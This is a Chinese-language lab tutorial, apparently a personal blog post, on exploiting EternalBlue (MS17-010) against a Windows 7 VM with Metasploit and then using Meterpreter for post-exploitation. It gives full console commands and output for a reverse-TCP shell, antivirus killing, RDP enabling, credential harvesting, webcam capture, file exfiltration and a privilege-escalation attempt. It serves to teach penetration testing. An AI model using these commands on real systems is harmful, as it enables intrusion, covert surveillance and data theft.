Metasploit之後滲透攻擊(信息收集、權限提升)

利用永恆之藍漏洞入侵Windows7

流程參考//www.jianshu.com/p/03a1c13f963a,實在是太棒啦!!!
目標主機為win7(IP:192.168.1.102);攻擊機為kali(IP:192.168.1.104);工具為metasploit5


啟動metasploit
msfconsole
探測目標主機信息
nmap -sV 192.168.1.102,445端口開放着,大概率可以用永恆之藍漏洞攻擊

這一次選擇MS17_010漏洞,就是永恆之藍漏洞來入侵Windows7。查找MS17_010漏洞相關的信息:
search ms17_010

第二個輔助模塊是探測主機是否存在MS17_010漏洞

選擇這個輔助模塊,看看目標機器是不是有這個問題。

likely ———— 有可能有啊 (必須滴有🤦‍♀️)

開干!

msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue          # 用攻擊模塊
msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads                                   # 顯示所有payload

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   1   generic/custom                                               normal  No     Custom Payload
   2   generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   3   generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   4   windows/x64/exec                                             normal  No     Windows x64 Execute Command
   5   windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   6   windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   7   windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   8   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   9   windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   10  windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   11  windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
————————————————————此處省略很多行——————————————————————————————————————

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp              # 選擇這個payload
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102                                      # 設置目標IP
RHOST => 192.168.1.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104                                      # 設置攻擊機IP
LHOST => 192.168.1.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run                                         # 開干

[*] Started reverse TCP handler on 192.168.1.104:4444 
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.1.102:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.1.102:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49165) at 2020-09-28 15:09:35 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > sysinfo                        # 可以為所欲為了
Computer        : GE-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

成功地對目標機器攻擊滲透後還可以做什麼? Metasploit提供了一個非常強大的後滲透工具————Meterpreter,該工具具有多重功能,使後續的滲透入侵變得更容易。獲取目標機的Meterpreter Shell後,就進入了Metasploit最精彩的後期滲透利用階段,後期滲透模塊有200多個,Meterpreter有以下優勢。

  • 純內存工作模式,不需要對磁盤進行任何寫入操作。
  • 使用加密通信協議,而且可以同時與幾個信道通信。
  • 在被攻擊進程內工作,不需要創建新的進程。
  • 易於在多進程之間遷移。
  • 平台通用,適用於Windows、Linux、 BSD系統, 並支持Intel x86和Intel x64平台。

本節主要介紹如何利用Meterpreter做好後滲透的準備工作及收集系統各類信息和數據。

進程遷移

在剛獲得Meterpreter Shell時,該Shell是極其脆弱和易受攻擊的,例如攻擊者可以利用瀏覽器漏洞攻陷目標機器,但攻擊滲透後瀏覽器有可能被用戶關閉。所以第一步就是要移動這個Shell,把它和目標機中一個穩定的進程綁定在一起,而不需要對磁盤進行任何寫入操作。這樣做使得滲透更難被檢測到。

輸入ps命令獲取目標機正在運行的進程,如下圖所示。

輸入getpid命令查看Meterpreter Shell的進程號,如下圖所示

可以看到Meterpreter Shell進程的PID為1116,Name為spoolsv.exe,然後輸入migrate 2428命令把Shell移動到PID為2428的Explorer.exe進程里,因為該進程是一個穩定的應用。
完成進程遷移後,再次輸入getpid命令查看Meterpreter Shel的進程號,發現PID已經變成了2428,說明已經成功遷移到Explorer.exe進程里,如圖所示。

進程遷移完成後,原先PID為1116的進程會自動關閉,如果沒有自動關閉可以輸入kill 1116命令「殺掉」 該進程。使用自動遷移進程命令(run post/windows/manage/migrate)後,系統會自動尋找合適的進程然後遷移,如圖所示。

如上圖所示,系統已經把原來PID為2428的進程遷移到956。

系統命令

獲得了穩定的進程後,接下來收集系統信息。先輸入sysinfo命令查看目標機的系統信息,例如操作系統和體系結構,如下圖所示。

輸入run post/windows/gather/checkvm命令檢查目標機是否運行在虛擬機上,如下所示

可以看到當前目標機正運行在一個VMware虛擬機上.現在檢查目標機是否正在運行, 輸入idletime命令後可以看到目標機最近的運行時間.

可以看到目標機器正在運行,並且已經運行了35 mins 16 secs
接着輸入route命令查看目標機完整的網絡設置, 如下圖所示

除此之外,可以輸入background命令將當前會話放到後台,此命令適合在多個Meterpreter會話的場景下使用。還可以輸入getuid命令查看當前目標機器上已經滲透成功的用戶名,如下圖所示。

接着輸入run post/windows/manage/killav命令關閉目標機操作系統, 如下所示

輸入run post/windows/manage/enable_rdp命令啟動目標機的遠程桌面協議,也就是常說的3389端口,如下

然後輸入run post/windows/manage/autoroute命令查看目標機的本地子網情況, 如下:

可以通過添加路由藉助被攻陷的主機對其他網絡的主機發送攻擊.

接着輸入run post/windows/gather/enum_logged_on_users命令列舉當前有多少用戶登陸了目標機.

這系統就ge一個用戶.且當前已經登陸.

列舉完了用戶之後, 繼續輸入 run post/windows/gather/enum_applications命令列舉安裝在目標機上的應用程序, 如下

很多用戶習慣將計算機設置為自動登錄,下面這個命令可以抓取自動登陸的用戶和密碼.

run windows/gather/credentials/windows_autologin

可以看到,當前沒有抓到任何信息。此時就需要用到擴展插件Espia,使用前要先輸入load espia命令加載該插件,然後輸入screengrab命令就可以抓取此時目標機的屏幕截圖,如圖所示。


抓取成功後就生成了一個名為YZOFsgTD.jpeg的圖片,保存在root目錄下。這裡輸入screenshot命令也可以達到同樣的效果,如圖所示。

下面介紹幾個好玩的命令, 查看目標機有沒有攝像頭的命令為 webcam_list, 如下:
沒有和有結果分別如下(為撒一會無,一會有? [因為我發現沒有之後把攝像頭又分配給了虛擬機😁])

接着輸入webcam_snap命令打開目標機攝像頭並拍攝一照片, 如下


瘋狂打馬

輸入webcam_stream命令甚至還可以開啟直播模式. 媽呀,可怕!!

還可以輸入shell命令進入目標機shell下面, 如下所示.

最後輸入exit命令停止meterpreter會話, 如下所示. 該命令還可用於停止shell會話並返回meterpreter.

文件系統命令

Meterpreter也支持各種文件系統命令,用於搜索文件並執行各種任務,例如搜索文件、下載文件及切換目錄等,相對來說操作比較簡單。常用的文件系統命令及其作用如下所示。

  • pwd或getwd: 查看當前處於目標機的哪個目錄,如圖所示。
  • getlwd: 查看當前處於本地的哪個目錄
  • ls: 列出當前目錄中的所有文件
  • cd: 切換目錄
  • search -f *.txt -d c:\ 可以搜索C盤中所有以”.txt” 為擴展名的文件,其中-f參數用於指定搜索文件模式,-d參數用於指定在哪個目錄下進行搜索,如圖所示。
  • download c:\test.txt /root 下載目標機C盤的test.txt文件到攻擊機root下。
  • upload /root/test.txt c:\ 上傳攻擊機root目錄下的test.txt文件到目標機C盤下。

使用上述命令搜索已被攻陷的目標機,可以獲得更多關於目標機的信息。

後滲透攻擊:權限提升

通常,我們在滲透過程中很有可能只獲得了一個系統的Guest或User權限。低的權限級別將使我們受到很多的限制,在實施橫向滲透或者提權攻擊時將很困難。在主機上如果沒有管理員權限,就無法進行獲取Hash、安裝軟件、修改防火牆規則和修改註冊表等各種操作,所以必須將訪問權限從Guset提升到User,再到Administrator,最後到System級別。
滲透的最終目的是獲取服務器的最高權限,即Windows操作系統中管理員賬號的權限,或Linux操作系統中root賬戶的權限。提升權限的方式分為以下兩類。

  • 縱向提權:低權限角色獲得高權限角色的權限。例如,一個WebShell權限通過提權之後擁有了管理員的權限,那麼這種提權就是縱向提權,也稱作權限升級。
  • 橫向提權:獲取同級別角色的權限。例如,通過已經攻破的系統A獲取了系統B的權限,那麼這種提權就屬於橫向提權。

所以在成功獲取目標機Meterpreter Shell後,我們要知道現在已經擁有了什麼權限.
在Meterpreter Shell下輸入shell命令進入目標機的CMD命令行, 接着輸入whoami /groups命令查看我們當前的權限

從上圖中可以看到,當前的權限是Mandatory Label\Medium Mandatory Level, 說明我們是一個標準用戶,那麼就需要將用戶權限從標準用戶提升到管理員,也就是Mandatory Label\High Mandatory Level。
下面我們就利用本地溢出漏洞來提高權限,也就是說通過運行些現成的、能造成溢出漏洞的Exploit,把用戶從User組或其他系統用戶組中提升到Administrator組(或root)。
溢出漏洞就像往杯子里裝水,水多了杯子裝不進去,裏面的水就會溢出來。而計算機有個地方叫緩存區,程序的緩存區長度是事先被設定好的,如果用戶輸入的數據超過了這個緩存區的長度,那麼這個程序就會溢出。

利用WMIC實戰MS16-032本地溢出漏洞

此處我們通過一系列的滲透測試得到了目標機器的Meterpreter Shell.首先輸入getuid命令查看已經獲得的權限,可以看到現在的權限很低,是test權限。嘗試輸入getsystem命令提權,結果失敗,如圖所示。

接着查看系統的已打補丁,傳統的方法是在目標機的CMD命令行下輸入systeminfo命令,或者通過查詢C:\windows\里留下的補丁號”.Iog” 查看目標機大概打了哪些補丁,如圖所示。

可以看到目標機只安裝了3個修補程序。這裡再利用WMIC命令Wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安裝的補丁,如圖所示。

同樣可以看到目標機只打了3個補丁,要注意這些輸出的結果是不能被直接利用的,使用的方式是去找提權的EXP,然後將系統已經安裝的補丁編號與提權的EXP編號進行對比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) ,MS11-080(KB2592799),然後使用沒有編號的EXP進行提權。因為虛擬機不怎麼打補丁,所以我們可以使用很多EXP來提權,這裡就用最新的MS16-032來嘗試提權,對應的編號是KB3139914。

相關漏洞的具體信息分析和共享可以參考如下兩個網站。

  • 安全焦點,其BugTraq是一個出色的漏洞和Exploit數據源, 可以通過CVE編號或者產品信息漏洞直接搜索。網址: //www.securityfocus.com/bid .
  • Exploit-DB, 取代了老牌安全網站milw0rm。 Exploit DB不斷更新大量的Exploit程序和報告,它的搜索範圍是整個網站的內容。網址: //www.exploit-db.com/

知識點: WMIC是Windows Management Instrumentation Command-line的簡稱,它是一款命令行管理工具,提供了從命令行接口到批命令腳本執行系統管理的支持,可以說是Windows平台下最有用的命令行工具。使用WMIC,我們不但可
以管理本地計算機,還可以管理同一域內的所有遠程計算機(需要必要的權限), 而被管理的遠程計算機不必事先安裝WMIC.
wmic.exe位於Windows目錄下,是一個命令行程序。 WMIC可以以兩種模式執行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),經常使用Netsh命令行的讀者應該非常熟悉這兩種模式。

  • 交互模式。如果你在命令提示符下或通過「運行」菜單只輸入WMIC,都將進入WMIC的交互模式,每當一個命令執行完畢後,系統還會返回到WMIC提示符下,如”Root\cli” ,交互模式通常在需要執行多個WMIC指令時使用,有時還會對一些敏感的操作要求確認,例如刪除操作,這樣能最大限度地防止用戶操作出現失誤。
  • 非交互模式。非交互模式是指將WMIC指令直接作為WMIC的參數放在WMIC後面,當指令執行完畢後再返回到普通的命令提示符下,而不是進入WMIC上下文環境中。WMIC的非交互模式主要用於批處理或者其他一些腳本文件中。

需要注意的是,在Windows XP下,低權限用戶是不能使用WMIC命令的,但是在Windows 7系統和Windows 8系統下,低權限用戶可以使用WMIC,且不用更改任何設置。
WMIC在信息收集和後滲透測試階段非常實用,可以調取查看目標機的進程、服務、用戶、用戶組、網絡連接、硬盤信息、網絡共享信息、已安裝補丁、啟動項、已安裝的軟件、操作系統的相關信息和時區等。
接下來準備提權,同樣需要先把Meterpreter會話轉為後台執行,然後搜索MS16-032,如下圖所示。

知識點: 如果搜索不到最新的Exploit,可以輸入msfupdate命令進行升級,獲取最新的Exploit模塊、攻擊載荷,或者手動添加相應漏洞EXP 。
執行以下命令選中MS16-032這個漏洞,然後指定”session” 進行提權操作,這裡我們指定服務”session” 為 「1」,然後run 。
額這塊失敗了, 不玩了mmp……

為方便提權, 下面附上部分系統對應的補丁號.

說明

本文參考 開篇的博客鏈接 及 《Web安全攻防:滲透測試實戰指南》
所有過程僅供演示交流,禁止用於非法用途,由此產生的非法後果與我無瓜